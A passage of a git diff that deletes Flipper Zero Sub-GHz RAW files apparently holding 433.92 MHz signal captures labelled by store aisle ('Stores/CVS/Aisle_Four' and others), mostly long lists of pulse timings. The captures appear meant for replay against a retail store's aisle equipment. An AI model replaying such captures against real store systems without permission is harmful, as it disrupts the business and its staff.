-1504 824 -4584 792 -744 1556 -1516 788 -748 1560 -1512 828 -744 1544 -740 1588 -740 1544 -744 1588 -732 1548 -748 1580 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -736 1588 -744 1544 -740 1588 -740 1548 -740 1584 -740 1544 -748 1584 -740 1548 -740 1584 -1500 784 -1504 824 -1508 784 -740 1580 -1504 784 -1504 820 -1508 784 -1496 828 -1504 784 -740 1584 -1504 784 -736 1584 -1504 784 -1500 824 -1504 784 -1500 824 -4584 792 -744 1556 -1516 792 -748 1556 -1516 828 -740 1548 -740 1584 -740 1552 -732 1592 -740 1548 -740 1584 -740 1548 -736 1588 -740 1548 -736 1592 -736 1548 -736 1592 -736 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1584 -744 1544 -740 1584 -1504 788 -1500 828 -1504 776 -744 1580 -1504 784 -1500 824 -1504 784 -1504 828 -1504 784 -740 1588 -1500 784 -740 1584 -1500 788 -1504 820 -1500 788 -1500 824 -4588 788 -748 1560 -1512 792 -744 1564 -1508 832 -744 1544 -740 1588 -740 1544 -744 1588 -736 1548 -744 1584 -740 1548 -740 1588 -740 1552 -732 1592 -740 1548 -740 1588 -740 1544 -748 1584 -736 1552 -744 1580 -744 1548 -740 1588 -744 1548 -736 1584 -1504 784 -1500 832 -1504 788 -736 1584 -1504 784 -1504 824 -1504 784 -1504 824 -1508 784 -740 1588 -1500 784 -744 1580 -1500 784 -1504 824 -1504 784 -1500 824 -4588 788 -748 1560 -1512 792 -748 1560 -1508 832 -744 1548 -736 1588 -744 1544 -744 1588 -736 1548 -744 1584 -744 1544 -740 1588 -744 1548 -736 1592 -736 1552 -744 1584 -740 1548 -744 1584 -744 1548 -736 1588 -744 1548 -740 1584 -740 1552 -736 1592 -1500 784 -1504 828 -1508 780 -744 1584 -1496 784 -1504 824 -1504 788 -1500 832 -1504 780 -744 1584 -1504 784 -736 1588 -1500 788 -1500 828 -1500 784 -1504 824 -4588 792 -744 1560 -1516 796 -744 1556 -1516 832 -740 1548 -744 1584 -740 1548 -744 1588 -736 1552 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1584 -744 1548 -736 1588 -740 1552 -732 1592 -740 1548 -740 1588 -1500 788 -1500 828 -1508 780 -740 1584 -1504 784 -1500 824 -1504 784 -1508 828 -1500 788 -740 1584 -1504 784 -740 1584 -1504 784 -1500 828 -1504 780 -1508 820 -4584 792 -744 1564 -1512 796 -744 1560 -1512 -RAW_Data: 832 -740 1552 -736 1588 -740 1548 -744 1584 -740 1548 -740 1588 -736 1552 -740 1588 -740 1552 -736 1588 -744 1544 -740 1588 -740 1548 -740 1592 -732 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -1500 788 -1500 832 -1500 784 -744 1580 -1504 784 -1504 824 -1504 784 -1500 828 -1500 792 -736 1588 -1500 788 -740 1584 -1504 784 -1504 824 -1500 788 -1504 824 -4588 788 -748 1560 -1512 792 -744 1564 -1512 832 -740 1548 -740 1588 -736 1552 -740 1588 -736 1552 -740 1588 -740 1548 -740 1592 -740 1544 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -744 1580 -1504 788 -1500 828 -1504 788 -740 1580 -1504 784 -1500 828 -1504 784 -1504 828 -1504 784 -740 1584 -1504 788 -736 1584 -1500 788 -1504 824 -1504 788 -1504 816 -4588 792 -744 1560 -1520 788 -748 1560 -1512 832 -740 1552 -736 1588 -740 1552 -736 1588 -740 1548 -744 1588 -732 1556 -740 1584 -744 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -1500 788 -1504 832 -1500 788 -736 1584 -1504 784 -1500 824 -1504 784 -1500 832 -1504 784 -740 1588 -1504 784 -740 1584 -1504 784 -1504 820 -1504 788 -1500 824 -4588 788 -748 1560 -1516 788 -752 1560 -1508 832 -740 1548 -740 1588 -740 1548 -744 1584 -744 1548 -740 1584 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -744 1548 -740 1584 -744 1544 -744 1584 -744 1544 -740 1588 -740 1548 -744 1584 -1504 780 -1504 828 -1504 788 -740 1580 -1504 788 -1500 824 -1508 780 -1504 828 -1504 784 -744 1588 -1500 784 -740 1584 -1504 784 -1504 820 -1504 784 -1504 804 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Four.sub b/assets/resources/subghz/Stores/CVS/Aisle_Four.sub deleted file mode 100644 index 11732e381..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Four.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 808 -744 1560 -1512 788 -748 1556 -1516 828 -740 1544 -740 1584 -740 1548 -740 1584 -740 1544 -740 1584 -744 1540 -740 1588 -736 1548 -740 1584 -740 1544 -740 1584 -740 1548 -740 1584 -736 1548 -740 1584 -740 1544 -740 1584 -744 1544 -740 1588 -1504 788 -736 1584 -1504 780 -744 1580 -1500 788 -1500 820 -1504 780 -1504 828 -1500 784 -744 1576 -1504 784 -1496 832 -1504 780 -744 1580 -1504 784 -744 1576 -4584 792 -744 1560 -1516 792 -744 1556 -1512 832 -744 1544 -744 1584 -740 1548 -736 1588 -740 1548 -744 1580 -740 1552 -732 1592 -740 1544 -740 1588 -736 1552 -736 1588 -740 1548 -740 1588 -732 1552 -736 1588 -740 1548 -736 1592 -736 1544 -748 1584 -1500 788 -740 1588 -1500 784 -736 1584 -1500 788 -1500 824 -1500 784 -1504 828 -1504 784 -740 1580 -1500 784 -1500 832 -1508 780 -744 1584 -1500 788 -736 1580 -4584 796 -744 1556 -1516 788 -748 1556 -1516 832 -736 1548 -744 1580 -744 1548 -740 1584 -740 1548 -736 1588 -744 1544 -744 1584 -736 1552 -736 1588 -740 1544 -744 1584 -740 1544 -744 1580 -740 1552 -736 1588 -740 1544 -744 1584 -740 1548 -740 1588 -1504 780 -744 1584 -1500 788 -736 1580 -1500 788 -1500 828 -1500 788 -1500 828 -1500 784 -736 1584 -1500 788 -1504 824 -1500 788 -740 1588 -1500 784 -740 1580 -4592 788 -744 1564 -1512 788 -748 1556 -1520 824 -740 1548 -740 1588 -740 1548 -740 1584 -740 1552 -736 1588 -740 1548 -740 1584 -744 1544 -744 1588 -736 1548 -744 1584 -744 1544 -744 1584 -736 1552 -740 1588 -744 1544 -740 1588 -740 1552 -736 1592 -1500 788 -736 1588 -1504 784 -744 1576 -1508 780 -1504 824 -1504 780 -1504 828 -1508 780 -744 1576 -1500 792 -1500 824 -1500 788 -736 1592 -1500 788 -740 1580 -4592 784 -752 1556 -1516 788 -748 1560 -1512 832 -740 1552 -736 1588 -736 1552 -740 1588 -740 1548 -744 1584 -740 1548 -736 1588 -744 1548 -740 1584 -744 1544 -740 1584 -740 1548 -744 1584 -744 1544 -744 1584 -736 1552 -740 1588 -744 1544 -744 1588 -1500 788 -744 1588 -1500 788 -732 1584 -1504 788 -1500 824 -1500 788 -1504 828 -1504 784 -740 1584 -1500 788 -1504 824 -1504 784 -740 1588 -1504 784 -740 1580 -4592 788 -744 1560 -1512 792 -748 1560 -1516 832 -740 1548 -740 1588 -736 1552 -736 1588 -740 1548 -744 1584 -740 1548 -736 1592 -740 1548 -740 1584 -744 1548 -736 1588 -740 1548 -740 1584 -744 1548 -740 1588 -736 1548 -744 1584 -744 1544 -744 1588 -1500 788 -736 1592 -1504 780 -740 1584 -1500 788 -1500 824 -1504 784 -1504 828 -1504 788 -732 1584 -1508 780 -1500 832 -1504 784 -740 1584 -1500 792 -736 1580 -4584 792 -748 1556 -1516 788 -744 1560 -1516 -RAW_Data: 828 -740 1552 -736 1584 -740 1548 -744 1584 -744 1544 -740 1588 -736 1548 -744 1584 -744 1544 -744 1584 -740 1552 -736 1588 -740 1548 -744 1580 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -736 1592 -1504 788 -732 1584 -1504 784 -744 1580 -1504 784 -1504 820 -1504 784 -1500 832 -1500 784 -744 1576 -1504 784 -1500 832 -1504 780 -740 1588 -1504 784 -740 1580 -4584 788 -744 1564 -1516 788 -752 1556 -1512 832 -740 1544 -744 1584 -744 1544 -740 1588 -736 1548 -744 1584 -740 1552 -736 1584 -740 1548 -740 1584 -744 1548 -736 1588 -736 1548 -744 1584 -740 1552 -736 1592 -736 1552 -740 1584 -740 1552 -740 1588 -1500 792 -736 1592 -1500 784 -736 1584 -1500 788 -1500 828 -1500 784 -1504 828 -1504 780 -736 1584 -1504 784 -1504 828 -1504 784 -740 1588 -1500 784 -736 1580 -4592 792 -748 1560 -1512 792 -744 1560 -1516 832 -740 1548 -740 1584 -744 1548 -736 1588 -740 1548 -744 1584 -736 1552 -736 1592 -736 1548 -740 1584 -748 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -736 1592 -1508 784 -732 1592 -1504 780 -740 1584 -1500 788 -1500 828 -1504 780 -1504 828 -1504 784 -740 1580 -1504 784 -1500 832 -1500 784 -744 1584 -1504 784 -736 1584 -4588 792 -744 1556 -1516 788 -744 1564 -1516 824 -744 1548 -736 1588 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1544 -744 1588 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -736 1548 -744 1588 -1504 784 -744 1584 -1500 784 -740 1584 -1504 780 -1500 828 -1500 788 -1504 828 -1500 788 -744 1576 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -744 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Fourteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Fourteen.sub deleted file mode 100644 index a49857cff..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Fourteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -752 1552 -1516 788 -752 1548 -1524 820 -748 1540 -748 1580 -748 1540 -744 1580 -748 1540 -748 1580 -744 1540 -748 1576 -748 1536 -748 1576 -748 1540 -748 1576 -748 1540 -744 1580 -748 1536 -748 1580 -748 1540 -744 1576 -744 1544 -748 1580 -1512 772 -752 1572 -1508 776 -1512 816 -1508 780 -1504 824 -1508 776 -744 1576 -1508 776 -1508 820 -1508 780 -1504 824 -1508 776 -748 1580 -1508 776 -748 1572 -4592 784 -752 1552 -1520 784 -756 1544 -1524 820 -748 1540 -748 1576 -752 1540 -744 1580 -744 1544 -748 1576 -748 1540 -748 1580 -748 1540 -744 1580 -748 1540 -748 1576 -748 1540 -748 1580 -744 1544 -748 1576 -748 1540 -744 1584 -744 1540 -748 1584 -1508 780 -744 1576 -1508 776 -1512 812 -1512 776 -1508 820 -1508 776 -752 1572 -1508 776 -1512 816 -1508 780 -1504 824 -1508 780 -748 1576 -1512 776 -744 1576 -4592 784 -752 1552 -1516 784 -756 1552 -1516 824 -748 1540 -748 1576 -748 1540 -748 1576 -752 1536 -748 1576 -748 1536 -752 1572 -748 1536 -752 1576 -752 1536 -748 1576 -744 1540 -748 1576 -748 1540 -748 1576 -748 1536 -752 1576 -748 1540 -748 1580 -1508 776 -752 1568 -1512 780 -1508 816 -1512 772 -1516 812 -1512 776 -748 1568 -1512 776 -1512 812 -1512 772 -1512 816 -1516 768 -756 1572 -1520 764 -760 1560 -4608 764 -768 1540 -1532 772 -764 1540 -1532 808 -760 1528 -760 1568 -756 1528 -764 1564 -760 1528 -760 1568 -760 1528 -760 1564 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1564 -760 1528 -760 1568 -760 1528 -760 1564 -760 1528 -760 1568 -1524 764 -764 1560 -1524 764 -1520 804 -1524 764 -1520 808 -1524 764 -760 1560 -1524 760 -1524 804 -1520 764 -1524 804 -1524 764 -760 1564 -1520 764 -764 1556 -4612 764 -768 1540 -1536 768 -764 1540 -1536 804 -768 1520 -764 1560 -768 1524 -760 1564 -760 1528 -760 1568 -760 1528 -756 1568 -760 1528 -756 1568 -764 1524 -764 1564 -760 1528 -760 1564 -764 1520 -768 1556 -780 1500 -788 1536 -832 1452 -812 1512 -15844 -RAW_Data: 748 -1532 800 -1524 764 -760 1560 -1528 760 -1524 800 -1528 760 -1524 808 -1524 760 -764 1560 -1524 764 -764 1556 -4604 768 -768 1540 -1536 768 -768 1536 -1536 808 -760 1528 -760 1564 -764 1524 -764 1560 -764 1524 -764 1560 -764 1524 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -768 1520 -764 1564 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -760 1568 -1524 764 -760 1560 -1520 764 -1524 804 -1520 764 -1524 804 -1524 764 -760 1564 -1520 764 -1524 804 -1520 764 -1524 804 -1524 764 -760 1564 -1524 764 -760 1556 -4604 772 -764 1540 -1536 768 -768 1536 -1536 808 -760 1528 -760 1564 -764 1524 -760 1568 -760 1528 -760 1564 -764 1524 -760 1568 -756 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1564 -760 1528 -764 1560 -764 1524 -760 1564 -764 1528 -756 1568 -1528 764 -760 1560 -1524 760 -1524 804 -1524 764 -1524 808 -1520 764 -760 1564 -1520 764 -1524 800 -1528 760 -1524 808 -1520 764 -760 1568 -1524 760 -764 1560 -4604 768 -768 1540 -1532 768 -768 1540 -1532 808 -764 1528 -760 1564 -764 1524 -760 1568 -760 1524 -760 1568 -760 1528 -764 1564 -756 1532 -756 1568 -760 1528 -760 1564 -760 1528 -760 1568 -760 1524 -764 1564 -764 1524 -764 1564 -764 1524 -764 1568 -1520 764 -760 1564 -1520 764 -1524 804 -1520 764 -1524 808 -1520 764 -760 1560 -1524 760 -1524 804 -1520 764 -1524 808 -1520 764 -764 1564 -1520 764 -760 1560 -4604 768 -768 1536 -1536 768 -768 1540 -1532 808 -760 1528 -760 1568 -760 1528 -760 1564 -764 1524 -760 1568 -756 1528 -764 1564 -760 1528 -760 1564 -760 1528 -760 1568 -760 1524 -764 1564 -760 1528 -760 1568 -760 1524 -764 1564 -760 1528 -760 1572 -1524 764 -760 1560 -1524 764 -1520 804 -1524 764 -1520 808 -1520 768 -760 1560 -1520 768 -1520 804 -1524 764 -1520 808 -1524 764 -760 1568 -1524 764 -760 1540 -15724 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Nineteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Nineteen.sub deleted file mode 100644 index 7b46127d0..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Nineteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1556 -1516 788 -744 1564 -1508 832 -740 1548 -744 1584 -740 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1580 -744 1548 -744 1584 -740 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1580 -1508 780 -1504 824 -1504 784 -1500 828 -1504 784 -744 1576 -1508 784 -1500 828 -1496 788 -1504 820 -1504 784 -1504 828 -1504 780 -744 1584 -1504 784 -744 1576 -4592 788 -744 1560 -1516 792 -744 1560 -1512 832 -740 1548 -736 1588 -740 1552 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1552 -736 1584 -744 1548 -736 1588 -740 1548 -744 1584 -744 1544 -744 1580 -744 1544 -744 1584 -1500 788 -1500 824 -1500 784 -1504 828 -1504 784 -740 1580 -1504 784 -1500 824 -1504 784 -1500 828 -1500 784 -1504 828 -1496 788 -740 1592 -1500 784 -740 1580 -4588 788 -748 1560 -1512 792 -748 1560 -1516 828 -740 1548 -740 1588 -740 1548 -740 1584 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -748 1580 -748 1544 -744 1588 -740 1548 -740 1588 -736 1552 -740 1584 -1504 784 -1504 824 -1504 784 -1504 828 -1504 784 -736 1580 -1508 784 -1500 828 -1496 788 -1504 820 -1504 784 -1504 828 -1500 788 -736 1588 -1508 780 -744 1576 -4592 788 -748 1556 -1520 788 -744 1564 -1516 828 -740 1548 -740 1584 -740 1552 -736 1584 -748 1544 -744 1584 -744 1548 -740 1588 -740 1548 -736 1588 -740 1544 -748 1584 -740 1548 -744 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1580 -1508 784 -1504 824 -1500 788 -1504 828 -1500 788 -740 1580 -1504 788 -1504 820 -1504 784 -1504 824 -1500 788 -1504 828 -1504 788 -740 1584 -1500 788 -736 1584 -4588 792 -744 1560 -1516 788 -748 1560 -1520 828 -740 1548 -740 1588 -740 1548 -736 1588 -740 1548 -740 1588 -744 1548 -736 1588 -740 1552 -740 1584 -740 1548 -740 1584 -744 1544 -740 1588 -744 1544 -740 1588 -744 1544 -740 1588 -740 1548 -740 1584 -1504 784 -1504 824 -1504 784 -1504 832 -1500 788 -736 1584 -1504 780 -1508 820 -1508 780 -1504 824 -1500 788 -1496 832 -1508 780 -744 1584 -1504 788 -740 1576 -4592 788 -744 1560 -1516 792 -744 1560 -1516 828 -740 1552 -740 1588 -736 1552 -736 1592 -736 1548 -744 1588 -736 1552 -736 1592 -736 1548 -744 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -736 1552 -740 1588 -740 1548 -740 1588 -1500 788 -1500 824 -1504 784 -1500 828 -1500 788 -744 1580 -1504 784 -1504 828 -1496 788 -1504 824 -1504 780 -1508 820 -1512 784 -736 1588 -1504 784 -736 1584 -4588 792 -748 1556 -1516 792 -744 1560 -1512 -RAW_Data: 836 -740 1548 -740 1584 -744 1548 -736 1588 -744 1548 -740 1588 -740 1552 -736 1584 -744 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -736 1584 -1508 784 -1500 824 -1504 784 -1504 828 -1508 780 -736 1588 -1500 784 -1508 820 -1500 792 -1500 824 -1504 780 -1508 824 -1504 788 -740 1584 -1500 788 -740 1580 -4588 792 -744 1564 -1512 792 -744 1564 -1516 828 -740 1552 -740 1584 -744 1548 -740 1588 -744 1544 -740 1588 -744 1540 -740 1592 -744 1544 -740 1592 -736 1548 -740 1592 -736 1548 -740 1588 -744 1544 -740 1588 -744 1548 -736 1588 -740 1552 -740 1580 -1508 788 -1500 824 -1504 784 -1504 828 -1500 788 -744 1580 -1504 784 -1504 820 -1504 788 -1500 824 -1504 788 -1504 828 -1504 784 -744 1584 -1504 784 -744 1580 -4588 792 -748 1560 -1516 792 -748 1556 -1520 832 -736 1548 -740 1592 -740 1548 -736 1592 -740 1548 -740 1588 -740 1548 -744 1584 -744 1548 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -740 1552 -736 1592 -740 1548 -740 1588 -744 1544 -740 1588 -1500 788 -1504 820 -1504 788 -1504 824 -1504 788 -740 1584 -1500 788 -1500 828 -1504 780 -1504 824 -1500 788 -1500 832 -1504 780 -740 1588 -1508 780 -744 1580 -4588 788 -748 1560 -1516 788 -744 1560 -1520 828 -740 1548 -740 1580 -744 1548 -736 1592 -740 1544 -740 1588 -744 1544 -740 1588 -744 1548 -740 1584 -740 1552 -740 1584 -740 1548 -744 1584 -744 1544 -740 1592 -740 1544 -740 1584 -740 1552 -736 1588 -1500 788 -1504 824 -1500 784 -1508 824 -1500 788 -740 1580 -1504 784 -1500 828 -1500 780 -1504 828 -1500 784 -1500 832 -1500 784 -744 1584 -1504 784 -736 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_One.sub b/assets/resources/subghz/Stores/CVS/Aisle_One.sub deleted file mode 100644 index 391f27edc..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_One.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1512 788 -748 1556 -1516 828 -740 1548 -740 1584 -744 1544 -744 1576 -744 1548 -744 1580 -740 1548 -736 1592 -740 1544 -744 1580 -744 1544 -744 1584 -740 1544 -744 1580 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -740 1580 -1508 780 -1504 828 -1500 780 -748 1580 -1504 784 -740 1580 -1504 780 -1504 824 -1500 788 -740 1576 -1504 784 -1496 832 -1504 780 -740 1584 -1508 780 -736 1580 -4584 792 -744 1560 -1516 788 -748 1556 -1516 828 -736 1548 -744 1584 -740 1548 -740 1584 -744 1540 -744 1580 -744 1544 -744 1580 -744 1544 -740 1584 -744 1544 -740 1584 -744 1544 -744 1584 -740 1548 -740 1584 -740 1544 -744 1584 -740 1548 -740 1588 -1504 780 -1500 828 -1504 784 -744 1580 -1508 784 -740 1576 -1508 784 -1500 828 -1504 780 -748 1576 -1500 788 -1500 832 -1500 784 -744 1584 -1500 784 -744 1576 -4588 784 -752 1556 -1516 788 -748 1560 -1516 828 -740 1548 -740 1588 -736 1552 -736 1588 -744 1544 -740 1584 -744 1544 -744 1584 -740 1544 -744 1584 -744 1540 -748 1580 -744 1544 -744 1580 -748 1540 -748 1580 -744 1548 -736 1588 -740 1552 -736 1584 -1504 784 -1504 824 -1504 784 -744 1580 -1508 776 -744 1580 -1504 784 -1504 828 -1500 788 -740 1580 -1500 788 -1500 828 -1504 780 -744 1584 -1508 780 -744 1580 -4588 788 -748 1556 -1516 788 -748 1556 -1516 828 -736 1552 -740 1584 -744 1544 -744 1580 -744 1544 -744 1584 -740 1544 -748 1580 -744 1548 -740 1580 -744 1548 -740 1588 -736 1552 -740 1588 -740 1548 -740 1588 -736 1548 -744 1584 -744 1544 -744 1584 -1500 784 -1500 832 -1504 784 -736 1588 -1504 784 -740 1580 -1504 784 -1500 828 -1508 780 -744 1580 -1504 780 -1508 824 -1504 784 -744 1580 -1508 780 -744 1576 -4588 792 -744 1560 -1520 788 -748 1560 -1512 832 -740 1548 -740 1584 -748 1544 -744 1580 -748 1540 -748 1580 -744 1548 -744 1584 -736 1556 -740 1584 -740 1548 -744 1584 -744 1540 -748 1584 -740 1544 -748 1580 -744 1544 -744 1588 -740 1548 -740 1584 -1504 784 -1504 828 -1504 784 -740 1584 -1508 780 -740 1580 -1508 784 -1504 828 -1504 784 -744 1576 -1508 780 -1504 832 -1500 780 -748 1580 -1508 784 -740 1580 -4588 788 -748 1560 -1520 788 -748 1560 -1516 824 -744 1544 -744 1584 -744 1544 -744 1584 -744 1548 -740 1588 -736 1552 -744 1584 -744 1544 -744 1584 -744 1544 -744 1580 -748 1544 -744 1580 -744 1544 -744 1588 -740 1548 -740 1588 -740 1548 -744 1580 -1504 784 -1504 828 -1504 784 -736 1592 -1504 780 -748 1580 -1500 788 -1504 824 -1508 784 -740 1580 -1504 788 -1500 828 -1508 780 -740 1588 -1504 784 -740 1576 -4592 788 -752 1556 -1516 788 -748 1556 -1516 -RAW_Data: 828 -744 1544 -744 1584 -744 1544 -744 1580 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1580 -744 1544 -744 1584 -744 1544 -744 1584 -740 1544 -744 1588 -740 1544 -744 1580 -1508 784 -1504 828 -1504 780 -744 1580 -1512 776 -744 1580 -1508 780 -1508 824 -1500 784 -748 1576 -1504 784 -1508 824 -1504 788 -736 1588 -1504 784 -744 1576 -4592 784 -752 1556 -1520 784 -752 1556 -1516 828 -740 1548 -740 1588 -740 1552 -740 1584 -744 1544 -744 1580 -748 1544 -744 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1580 -748 1544 -744 1584 -744 1548 -736 1588 -1504 784 -1504 824 -1512 776 -744 1584 -1508 784 -740 1580 -1508 780 -1504 824 -1508 780 -744 1580 -1508 776 -1512 824 -1500 784 -744 1584 -1504 780 -748 1576 -4588 788 -748 1556 -1516 788 -752 1552 -1520 828 -740 1544 -744 1584 -744 1544 -740 1588 -740 1548 -740 1588 -740 1548 -744 1580 -744 1544 -744 1584 -744 1544 -744 1580 -748 1544 -744 1584 -744 1544 -744 1584 -740 1552 -740 1584 -740 1548 -744 1584 -1504 784 -1508 824 -1508 784 -740 1588 -1500 784 -748 1576 -1504 780 -1508 828 -1504 784 -744 1580 -1504 784 -1504 824 -1508 780 -744 1584 -1508 784 -744 1576 -4588 788 -748 1560 -1516 788 -748 1556 -1520 824 -748 1544 -744 1584 -740 1552 -736 1584 -748 1544 -744 1584 -744 1540 -748 1580 -744 1544 -744 1584 -744 1544 -748 1580 -744 1548 -740 1588 -740 1548 -744 1584 -744 1544 -748 1580 -744 1544 -744 1580 -1512 780 -1508 824 -1508 780 -748 1584 -1504 784 -740 1584 -1504 784 -1504 824 -1508 780 -744 1580 -1508 780 -1508 828 -1504 780 -744 1580 -1508 780 -744 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Seven.sub b/assets/resources/subghz/Stores/CVS/Aisle_Seven.sub deleted file mode 100644 index f2a572e81..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Seven.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 792 -748 1552 -1516 828 -736 1548 -740 1588 -744 1544 -740 1584 -740 1544 -744 1584 -740 1548 -740 1584 -740 1544 -744 1580 -744 1548 -744 1584 -736 1544 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -1504 780 -1504 824 -1500 780 -1504 824 -1504 784 -1500 824 -1508 780 -1504 820 -1504 784 -1500 828 -1508 784 -740 1584 -1504 780 -740 1584 -1500 784 -1504 824 -4588 784 -752 1560 -1508 796 -744 1560 -1516 828 -740 1544 -748 1580 -744 1544 -740 1588 -736 1552 -740 1584 -744 1544 -740 1592 -740 1544 -744 1580 -740 1548 -744 1584 -744 1544 -736 1584 -744 1548 -740 1588 -744 1544 -740 1584 -740 1544 -744 1584 -1504 784 -1504 820 -1504 780 -1504 820 -1508 780 -1504 820 -1508 780 -1504 824 -1504 784 -1500 828 -1504 780 -744 1584 -1504 780 -740 1580 -1508 780 -1504 820 -4584 788 -748 1556 -1516 788 -752 1552 -1520 820 -744 1548 -744 1580 -744 1540 -744 1584 -740 1548 -740 1584 -740 1552 -740 1580 -740 1548 -744 1584 -736 1552 -740 1584 -744 1544 -740 1588 -744 1544 -740 1584 -744 1544 -740 1584 -744 1548 -740 1584 -1508 780 -1504 820 -1504 788 -1500 824 -1500 784 -1508 824 -1500 784 -1504 820 -1504 784 -1500 832 -1500 784 -744 1584 -1504 788 -736 1584 -1508 784 -1496 828 -4588 788 -748 1556 -1516 792 -748 1556 -1516 832 -736 1552 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -744 1548 -744 1580 -744 1548 -740 1584 -740 1548 -744 1580 -740 1548 -744 1584 -740 1548 -744 1588 -736 1548 -744 1584 -740 1548 -744 1584 -1504 780 -1504 824 -1500 788 -1500 824 -1504 784 -1500 820 -1508 780 -1504 820 -1504 784 -1504 828 -1500 784 -744 1584 -1508 780 -740 1584 -1500 788 -1504 820 -4588 788 -752 1556 -1516 788 -748 1556 -1516 832 -736 1548 -744 1580 -744 1552 -740 1580 -744 1548 -736 1588 -744 1544 -744 1588 -736 1552 -744 1580 -744 1548 -740 1584 -744 1544 -744 1584 -740 1548 -740 1592 -736 1548 -744 1580 -748 1540 -748 1580 -1504 784 -1508 816 -1512 780 -1504 824 -1504 780 -1504 824 -1504 784 -1500 824 -1504 784 -1504 828 -1504 780 -748 1584 -1504 784 -736 1584 -1504 784 -1504 824 -4584 788 -748 1564 -1512 788 -744 1564 -1516 828 -740 1544 -748 1584 -736 1552 -740 1588 -736 1548 -740 1588 -736 1548 -744 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -744 1584 -740 1548 -736 1588 -744 1544 -744 1584 -744 1544 -740 1584 -1500 788 -1508 820 -1504 784 -1504 816 -1508 780 -1508 820 -1508 784 -1500 824 -1504 784 -1504 828 -1500 788 -744 1580 -1504 784 -740 1584 -1500 784 -1504 824 -4588 788 -748 1556 -1512 792 -748 1560 -1516 -RAW_Data: 828 -740 1552 -736 1584 -744 1548 -744 1580 -744 1548 -740 1580 -744 1548 -744 1580 -744 1548 -744 1584 -740 1548 -740 1592 -740 1540 -744 1588 -740 1552 -736 1588 -740 1544 -744 1584 -740 1548 -744 1584 -1508 780 -1504 824 -1504 784 -1508 820 -1504 784 -1500 824 -1504 784 -1504 824 -1504 784 -1504 828 -1504 780 -744 1584 -1504 784 -740 1584 -1504 784 -1504 820 -4592 792 -748 1556 -1516 792 -744 1564 -1516 828 -740 1548 -744 1580 -744 1548 -744 1580 -744 1548 -736 1588 -740 1548 -740 1584 -744 1544 -744 1588 -744 1544 -740 1588 -744 1544 -740 1588 -740 1544 -740 1592 -744 1544 -744 1584 -744 1544 -744 1584 -1504 784 -1504 816 -1508 784 -1508 820 -1504 784 -1508 820 -1504 784 -1508 820 -1504 784 -1504 832 -1504 784 -740 1588 -1504 784 -740 1584 -1500 784 -1508 820 